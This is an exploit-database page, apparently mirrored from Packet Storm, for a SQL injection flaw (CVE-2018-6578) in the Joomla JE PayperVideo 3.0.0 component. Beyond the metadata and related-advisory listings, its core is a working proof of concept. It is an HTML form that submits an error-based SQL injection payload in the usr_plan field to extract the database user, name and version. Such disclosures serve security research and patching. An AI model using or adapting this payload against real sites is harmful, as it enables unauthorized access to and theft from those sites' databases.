Joomla! JE PayperVideo 3.0.0 SQL Injection

🗓️ 03 Feb 2018 00:00:00Reported by Ihsan SencanType

packetstorm🔗 packetstormsecurity.com👁 33 Views

Joomla JE PayperVideo 3.0.0 SQL Injection allows attacker to inject SQL commands via usr_plan input field in myplans.usersubscriptions vie

Reporter	Title	Published	Views	Family All 7
CNVD	Joomla! JE PayperVideo SQL Injection Vulnerability	7 Feb 201800:00	–	cnvd
CVE	CVE-2018-6578	2 Feb 201817:00	–	cve
Cvelist	CVE-2018-6578	2 Feb 201817:00	–	cvelist
EUVD	EUVD-2018-18328	7 Oct 202500:30	–	euvd
NVD	CVE-2018-6578	2 Feb 201817:29	–	nvd
OSV	CVE-2018-6578	2 Feb 201817:29	–	osv
Prion	Sql injection	2 Feb 201817:29	–	prion

`<!--  
# # # # #  
# Exploit Title: Joomla! Component JE PayperVideo 3.0.0 - SQL Injection  
# Dork: N/A  
# Date: 01.02.2018  
# Vendor Homepage: http://www.jextn.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/je-paypervideo/  
# Software Download: http://www.jextn.com/index.php?option=com_docman&task=doc_download&gid=145&Itemid=276  
# Version: 3.0.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)   
# # # # #  
-->  
<html>  
<body>  
<form action="http://localhost/[PATH]/index.php?option=com_jepaypervideo&view=myplans&task=myplans.usersubscriptions" method="post">  
<input name="usr_plan" value="(SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(1=1,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)" type="hidden">  
<input type="submit" value="Ver Ayari">  
</form>  
</body>  
</html>  
  
`

03 Feb 2018 00:00Current

9.3High risk

Vulners AI Score9.3

EPSS0.01411